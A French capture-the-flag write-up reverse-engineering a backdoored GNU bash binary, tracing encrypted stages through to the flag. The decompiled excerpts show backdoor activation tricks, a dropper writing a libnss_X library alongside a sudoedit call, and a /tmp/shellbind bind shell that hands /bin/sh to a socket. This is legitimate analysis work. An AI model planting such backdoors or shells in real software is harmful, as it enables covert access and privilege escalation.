Written by aaSSfxxx -
Ce challenge est le deuxième challenge que j'ai pu résoudre à l'AeroCTF, et un des plus difficiles du CTF (seulement 2 solves en comptant le mien). L'énoncé était le suivant.
There seems to be something wrong with our bash.
Can you see if anyone has entered the backdoor?
bash.7z
On nous donne une archive qui contient un binaire nommé "bash". Il s'agit d'un GNU bash mais backdooré, et on devra trouver la backdoor pour obtenir le flag.
En ouvrant le fichier dans IDA, le point d'entrée n'est pas correctement désassemblé. En effet, il est à cheval sur les sections ".text" et ".data". On obtient un code désassemblé après avoir défini les données comme instructions. On peut ainsi trouver la fonction main:
_data segment dword public 'DATA' use64
.data:000000000001ECA2 assume cs:_data
.data:000000000001ECA2 ;org 1ECA2h
.data:000000000001ECA2 db 1Eh
.data:000000000001ECA3 db 0FAh
.data:000000000001ECA4 ; ---------------------------------------------------------------------------
.data:000000000001ECA4 xor ebp, ebp
.data:000000000001ECA6 mov r9, rdx
.data:000000000001ECA9 pop rsi
.data:000000000001ECAA mov rdx, rsp
.data:000000000001ECAD and rsp, 0FFFFFFFFFFFFFFF0h
.data:000000000001ECB1 push rax
.data:000000000001ECB2 push rsp
.data:000000000001ECB3 lea r8, __libc_csu_fini
.data:000000000001ECBA lea rcx, __libc_csu_init
.data:000000000001ECC1 lea rdi, main
.data:000000000001ECC8 call cs:off_11EF38
.data:000000000001ECCE hlt
.data:000000000001ECCF
Cette fonction est énorme, merci les fonctions "static" inlinées. Mais on voit rapidement qu'elle appartient au fichier "shell.c" grâce à des fonctions de debug qui affichent aussi le numéro de ligne, qui ressemblent à ceci:
.data:00000000000206A5 call set_default_locale
.data:00000000000206AA call getuid_0
.data:00000000000206AF mov ebx, eax
.data:00000000000206B1 cmp eax, cs:cur_user__uid
.data:00000000000206B7 jz short loc_20731
.data:00000000000206B9 mov rdi, cs:cur_user__username
.data:00000000000206C0 test rdi, rdi
.data:00000000000206C3 jz short loc_206D6
.data:00000000000206C5 mov edx, 1642
.data:00000000000206CA lea rsi, aShellC ; "shell.c"
.data:00000000000206D1 call print_free
Du coup j'ai téléchargé le code source de bash 5.1 (la version se trouve facilement dans les strings), et essayé d'identifier les fonctions à partir du fichier source. Mais le code désassemblé correspondant au source suivant:
u = getuid ();
if (current_user.uid != u)
{
FREE (current_user.user_name);
est à la ligne 1292 dans le code source au lieu de 1642 dans le binaire. On peut déduire que le binaire a été recompilé avec la backdoor ajoutée au code source.
Pendant que j'identifiais les fonctions par rapport au code source, je suis tombé sur cette fonction qui ne correspondait à rien:
v26 = __readfsqword(0x28u);
v0 = (_QWORD *)sh_malloc(4096LL, "shell.c", 587LL);
v0[511] = 0LL;
memset(
(void *)((unsigned __int64)(v0 + 1) & 0xFFFFFFFFFFFFFFF8LL),
0,
8LL * (((unsigned int)v0 - (((_DWORD)v0 + 8) & 0xFFFFFFF8) + 4096) >> 3));
*v0 = 0xDBEF3510A9ECE437LL;
v0[1] = 0xB557D3ED25ADEB3FLL;
*((_BYTE *)v0 + 16) = 40;
decrypt_string(v0, 17);
v1 = fopen_0(v0, "r");
if ( !v1 )
exit_0(0LL);
v2 = v1;
v3 = sh_malloc(1024LL, "shell.c", 645LL);
v4 = 8;
Cette fonction est appelée via un init vector par __libc_csu_init
, avant que la fonction main
soit appelée.
La backdoor vérifie si le processus est en train d'être debug en regardant le champ "TracerPid" dans /proc/self/status
. Les chaînes sont chiffrées avec un algorithme simple, que j'ai réimplémenté en Python.
def decryptbuf(s):
outpt = b""
key = 24
for i in range(len(s)):
outpt += bytes([s[i] ^ key])
key = (4*key + 52) % 243
return outpt
Il regarde ensuite si le fichier /home/anon/.profile
existe, et sort de la backdoor le cas échéant. Puis la backdoor essaie de lire 32 octets depuis /proc/self/fd/777
.
On va enfin rentrer dans des trucs sympas, des trucs de hacker quoi.
Le contenu de /proc/self/fd/777
est modifié par un algorithme de chiffrement inconnu, dont le résultat est comparé à une constante. L'algorithme décompilé ressemble à ça:
mysterious_array[0] = 0xE9B554BCBF7A0351LL;
mysterious_array[1] = 0x200A845B757AFF88LL;
mysterious_array[2] = 0x392848A34339A3EELL;
mysterious_array[3] = 0x21F8E1C664355C7CLL;
v9 = strlen((const char *)buffd) + 1;
bufread = (char *)buffd;
// snipped some uninteresting parts
count = 0LL;
while ( 1 )
{
v17 = count;
if ( strlen(bufread) <= count )
break;
seed1 = *(_DWORD *)&bufread[count];
seed2 = *(unsigned int *)&bufread[count + 4];
watconst2[0] = 1361583988;
watconst2[1] = -1740780829;
watconst2[2] = -1681248625;
watconst2[3] = -1992688973;
j_1 = 0;
while ( 1 )
{
v14 = seed1 + watconst2[j_1 & 3] + seed2 + j_1 + (((unsigned int)seed2 >> 8) ^ ((_DWORD)seed2 << 6));
++j_1;
seed1 = seed2;
if ( j_1 == 48 )
break;
seed2 = v14;
}
count += 8LL;
if ( mysterious_array[v17 / 8] != (seed2 << 32) + v14 )
{
print_free(watconst, "shell.c", 563LL);
goto LABEL_10;
}
}
En regardant la comparaison à la fin mysterious_array[v17 / 8] != (seed2 << 32) + v14
, on voit que les 32 octets de poids fort ne sont pas touchés par l'algorithme de chiffrement, tandis que les 32 octets de poids faible sont un calcul fait à partir du numéro de round, et des 32 octets de poids fort.
Cet algorithme fait en réalité 48 tours de l'algo ci-dessous:
def do_feistel_pass(j, seed1, seed2):
tmp = (seed1 + watconst[j & 3] + seed2 + j + ((seed2 >> 8) ^ ((seed2 << 6) & 0xffffffff))) & 0xffffffff
return (seed2, tmp)
Finalement, on obtient:
def encrypt_data(x):
seed1, seed2 = struct.unpack("<II", x[0:8])
for j in range(48):
seed1, seed2 = do_feistel_pass(j, seed1, seed2)
return (seed1, seed2)
Comme on connaît le "seed2" final, on peut trouver l'algo de déchiffrement. On pourra l'appliquer à "mysterious_array" pour retrouver le texte en clair. Il s'agit d'un classique réseau de Feistel. On devra juste faire attention aux additions qui ont pu être "tronquées" sur 32 bits lors du chiffrement.
La fonction pour déchiffrer ressemblera donc à ceci:
def undo_feistel_pass(j, seed2, tmp):
while True:
blup = watconst[j & 3] + seed2 + j + ((seed2 >> 8) ^ ((seed2 << 6) & 0xffffffff))
pass1 = tmp - blup
if pass1 > 0:
break
tmp += 0x100000000
return (pass1, seed2)
def decrypt_data(x):
seed2, tmp = ((x >> 32), x & 0xffffffff)
for i in range(47, -1, -1):
seed2, tmp = undo_feistel_pass(i, seed2, tmp)
return struct.pack("<II", seed2, tmp)
On lance l'algo sur "mysterious_array":
bufd = b""
for i in range(0, 32, 8):
bufd += decrypt_data(mysterious_array[i >> 3])
Et on obtient la chaîne qui active la 1ère étape de la backdoor: eY3HmR6knwflbc1nsq0ILP9KZYQ8DTn
. On pourra stocker cette chaîne dans un fichier, et invoquer la backdoor en faisant ./bash 777<backdoor.txt
La suite de la fonction déchiffre un autre fichier ELF avec un algo ressemblant à du Salsa20 (magic consts go brrr), mais j'ai abandonné l'analyse de l'algo et me suis contenté de dumper l'ELF déchiffré après avoir patché le binaire avec un int3 après l'appel de la fonction de déchiffrement.
Le binaire dumpé utilise la même technique que le binaire "bash", avec l'entrypoint à cheval sur deux sections. La fonction "main" ne fait qu'appeler la fonction de déchiffrement avec argv[1]. Cette fonction de déchiffrement ressemble à ceci:
__int64 __fastcall do_the_hustle(char *serial)
{
__m128i *key; // rbp
_QWORD *v2; // r12
_QWORD *v3; // r13
serial[31] = 0;
key = (__m128i *)calloc_0(4096LL, 1LL);
*key = _mm_load_si128(xmmword_5060);
key->m128i_i8[0] ^= 0x18u;
key->m128i_i8[1] ^= 0x94u;
key->m128i_i8[2] ^= 0x9Eu;
key->m128i_i8[3] ^= 0xC6u;
key->m128i_i8[4] ^= 0x73u;
key->m128i_i8[5] ^= 0x1Au;
key->m128i_i8[6] ^= 0x9Cu;
key->m128i_i8[7] ^= 0xBEu;
key->m128i_i8[8] ^= 0x53u;
key->m128i_i8[9] ^= 0x8Du;
key->m128i_i8[10] ^= 0x82u;
key->m128i_i8[11] ^= 0x56u;
key->m128i_i8[12] ^= 0x99u;
key->m128i_i8[13] ^= 0xB2u;
key->m128i_i8[14] ^= 0x23u;
key->m128i_i8[15] ^= 0xC0u;
v2 = (_QWORD *)malloc_0();
v3 = (_QWORD *)malloc_0();
serpent_encrypt(serial, (__int64)key, (__int64)v2, 0x10u);
if ( *v2 ^ 0x9601AAF388AB0192LL | v2[1] ^ 0x2127591BB4E06735LL )
return send_backdoor_status(0);
serpent_encrypt((_DWORD *)serial + 4, (__int64)key, (__int64)v3, 0x10u);
if ( *v3 ^ 0x582C4E2FDC6C7226LL | v3[1] ^ 0xC00B8862110C7A9DLL )
return send_backdoor_status(0);
send_backdoor_status(1);
free_0(v2);
return free_0(v3);
}
Une chaîne "Dh1IuM7SV7xgZP8q" et déchiffrée via un simple XOR, passée en clé à un autre algo de déchiffrement. Grâce à la Technique Secrète de Recherche de S-Box sur Google, je trouve ce blog: https://ctf.njupt.edu.cn/271.html, qui mentionnait cette S-Box intéressante:
0x03, 0x08, 0x0F, 0x01, 0x0A, 0x06, 0x05, 0x0B, 0x0E, 0x0D
On trouve le nom du challenge qui utilise cette S-Box ("Touch of Satan"), et grâce à mes talents en OSINT, je trouve cet autre blog chinois: https://blog.csdn.net/qq_38867330/article/details/102922423, qui affirme qu'il s'agit de Serpent.
J'ai donc récupéré une vieille lib Python 2 qui implémente Serpent, et l'ai bidouillée pour la faire fonctionner sur Python 3. Puis, en lançant:
import serpent
z = serpent.Serpent(b"Dh1IuM7SV7xgZP8q")
bin = struct.pack("<QQQQ", 0x9601AAF388AB0192, 0x2127591BB4E06735, 0x582C4E2FDC6C7226, 0xC00B8862110C7A9D)
print(z.decrypt(bin))
je trouve cette chaîne 0NSlH7m8C91boiGq10NtQKq4aP7mVyJ
.
Comme le binaire qu'on a trouvé ne fait qu'écrire le statut "0" ou "1" dans un FIFO selon si on a donné le bon mot de passe, on doit trouver l'autre partie de la backdoor dans le binaire "bash".
Après avoir passé pas mal de temps à explorer le binaire (ça m'a probablement coûté le first blood 😥), j'ai fini par trouver un getenv("JAKWEULOD")
intéressant, et introuvable dans le code source originel.
La fonction qui appelle ce getenv est appelée au début de la fonction parse_and_execute
, patchée pour lancer la backdoor. Regardons de plus près:
v3 = backdoor_enabled;
if ( backdoor_enabled )
{
if ( ~(strlen((const char *)a1) + 1) == ~0x29uLL && !(unsigned int)memcmp_0(a1, "1+2+3+4+5", 9LL) )
{
((void (__fastcall *)(__int64))(v3 + 91))(a1 + 9);
v6 = sh_malloc(4096LL, "evalstring.c", 194LL);
*(_QWORD *)(v6 + 4088) = 0LL;
// v6 = mkfifo path from the other binary, snipped bc noisy string obfu
mkfifo_0(v6, 438LL);
v9 = open_0(v6, 0LL);
buf[0] = 0LL;
buf[1] = 0LL;
read_0(v9, buf, 1);
close_0(v9);
print_free(v6, "evalstring.c", 511LL);
if ( LOBYTE(buf[0]) == 1 )
{
xmmword_14F320 = (__int128)_mm_loadu_si128((const __m128i *)(a1 + 9));
qword_14F330 = *(_QWORD *)(a1 + 25);
dword_14F338 = *(_DWORD *)(a1 + 33);
word_14F33C = *(_WORD *)(a1 + 37);
byte_14F33E = *(_BYTE *)(a1 + 39);
backdoor_activation((const char *)(a1 + 9));
}
}
La fonction ((void (__fastcall *)(__int64))(v3 + 91))(a1 + 9)
fait un fork + execve d'un memfd qui contient le binaire qu'on a analysé précédemment.
On atteint la backdoor en tapant la commande suivante dans bash:
1+2+3+4+50NSlH7m8C91boiGq10NtQKq4aP7mVyJ
Ainsi backdoor_activation
sera appelé, qui appellera encore une fonction de crypto avec 0NSlH7m8C91boiGq10NtQKq4aP7mVyJ
comme clé. Cette fonction va déchiffrer la fonction qui vérifiera le contenu de la variable d'environnement "JAKWEULOD".
void __fastcall backdoor_activation(const char *key)
{
__int64 v1; // rbp
const char *v2; // rax
const __m128i *v3; // rbx
v1 = mmap_0(0LL, 98323, 7, 34, 0, 0);
cryptoshit_again((__int64)key, (__int64)&unk_12B000, v1, 98323LL, strlen(key));
v2 = (const char *)getenv("JAKWEULOD");
if ( v2 )
{
v3 = (const __m128i *)v2;
if ( ~(strlen(v2) + 1) == ~65LL && ((unsigned int (__fastcall *)(const char *))(v1 + 143))(v2) == 1 )
{
kk1 = (__int128)_mm_loadu_si128(v3);
xmmword_14F430 = (__int128)_mm_loadu_si128(v3 + 1);
xmmword_14F440 = (__int128)_mm_loadu_si128(v3 + 2);
unk_14F450 = _mm_loadu_si128(v3 + 3);
sub_89675();
fork_and_spawn();
}
}
munmap_0(v1, 98323LL);
}
Comme je suis un gros flemmard, j'ai voulu patcher le binaire avec un "int3", mais comme bash met en place ses sighandler, je finis par atterrir dans la fonction de sighandler. Du coup j'ai remplacé le "int3" par un "jmp $0" (\xeb\xfe
) après la fonction de déchiffrement et dumpé le buffer avec gdb en m'attachant au process.
La fonction dans le buffer alloué va ensuite être appelée: ((unsigned int (__fastcall *)(const char *))(v1 + 143))(v2)
.
L'algo est simple: il fait une exponentiation modulaire de chaque char de la chaîne passée en argument, et vérifie que le résultat est égal à une certaine valeur. Comme on a au maximum 128 chars à essayer, on peut se permettre de bruteforce et éviter de faire des maths puissantes:
def bf_char(n, p, res):
selected = -1
for i in range(0x10, 0x7f):
if pow(i, n, p) == res:
if selected == -1:
selected = i
else:
print("Other candidate %d" % i)
return selected
Comme j'étais trop flemmard pour faire un script qui extrait les paramètres automatiquement, je l'ai fait à la main à minuit et aidé de ma Sainte Bière :'). Puis une fois avoir lancé le script qui ressemble à ça:
def bf_char(n, p, res):
selected = -1
for i in range(0x10, 0x7f):
if pow(i, n, p) == res:
if selected == -1:
selected = i
else:
print("Other candidate %d" % i)
return selected
flag = bytearray(b"-"*65)
elts = [
(0x7b7bc, 0x3fa, 0x6af18, 4),
(0x3fbeb, 0x2a1, 0xd56d, 0xd),
# snipped
(0x3dbca, 0x377, 0x5de6, 0x10)
]
for e in elts:
c = bf_char(e[1], e[0], e[2])
#print(hex(e[3]))
flag[e[3]] = c
print(len(elts))
print(flag)
pos = [hex(i) for i in range(len(flag)) if flag[i] == ord("-")]
print(pos)
j'obtiens la bonne valeur pour la variable d'environnement: mIB8vFxWAQ5RkO7MXzDKnjTbYIdbwQQbxSyU6XvIoS39zmdKrHHCOevfUt5oBDZh
.
Comme d'hab, cette valeur est encore une clé de chiffrement pour la suite, et on remet un jmp $0
après la fonction pour dumper le stage "final":
void fork_and_spawn()
{
__m128i *key; // rbx
__int64 v1; // rax
_BYTE v2[1648]; // [rsp-1CF8h] [rbp-DD10h] BYREF
__int64 v3; // [rsp-1688h] [rbp-D6A0h] BYREF
_QWORD v4[5841]; // [rsp-688h] [rbp-C6A0h] BYREF
while ( &v3 != &v4[-6144] )
;
v4[5631] = __readfsqword(0x28u);
memcpy_0(v2, &unk_ECB08, 50784);
key = (__m128i *)sh_malloc(64LL, "evalstring.c", 401LL);
key->m128i_i64[0] = 0LL;
key->m128i_i64[1] = 0LL;
key[1].m128i_i64[0] = 0LL;
key[1].m128i_i64[1] = 0LL;
key[2].m128i_i64[0] = 0LL;
key[2].m128i_i64[1] = 0LL;
key[3].m128i_i64[0] = 0LL;
key[3].m128i_i64[1] = 0LL;
*key = _mm_load_si128((const __m128i *)&xmmword_14F220);
key[1] = _mm_load_si128((const __m128i *)&xmmword_14F230);
key[2] = _mm_load_si128((const __m128i *)&xmmword_14F240);
key[3] = _mm_load_si128((const __m128i *)&xmmword_14F250);
v1 = sh_malloc(50784LL, "evalstring.c", 404LL);
cryptoshit_again((__int64)key, (__int64)v2, v1, 50784LL, 64LL);
while ( 1 ) // jmp $0 rocks :þ
;
}
On voit le bout du tunnel et on récuère l'ELF avec gdb.
Munis de notre ELF, on l'ouvre dans IDA. Cette fois, pas de tricks chelous, et IDA identifie la fonction "main" du premier coup. Cette fonction ne fait qu'invoquer "sudoedit" avec des arguments pourris.
Mais on se rappelle que des fonctions peuvent être appelées avant main
, en étant appelées par __libc_csu_init
, et c'est le cas ici, avec la fonction setup
:
int __fastcall setup(__int64 a1, __mode_t a2)
{
FILE *s; // [rsp+8h] [rbp-8h]
FILE *sa; // [rsp+8h] [rbp-8h]
mkdir("libnss_X", a2);
s = fopen("libnss_X/A .so.2", "w");
fwrite(&libData, 1uLL, 0x4080uLL, s);
fclose(s);
sa = fopen("/tmp/shellbind", "w");
fwrite(&shellData, 1uLL, 0x4300uLL, sa);
return fclose(sa);
}
Le binaire droppe 2 ELF, dont un dans /tmp/shellbind. Coup de bol, j'ai analysé ce binaire en premier, et en voyant sa fonction main
:
bind(fd, &addr, 0x10u);
listen(fd, 0);
v8 = accept(fd, 0LL, 0LL);
v9 = recv(v8, buf, 0x28uLL, 0);
if ( buf[v9 - 1] == 10 )
buf[v9 - 1] = 0;
for ( i = 0; i <= 37; ++i )
buf[i] ^= 0x59u;
if ( !strcmp(buf, &unk_2008) )
{
dup2(v8, 2);
dup2(v8, 1);
dup2(v8, 0);
execve("/bin/sh", 0LL, 0LL);
}
je trouve le mot de passe de la backdoor:
s = bytes.fromhex("183C2B36226D603B6861686A616E3F6C69606A6C3B6A60386969616C693B6E6E613A6F6F3F24")
print(bytes([x ^ 0x59 for x in s]))
ce qui donne le flag: Aero{49b181387f50935b39a00850b778c66f}
That's all folks ! :þ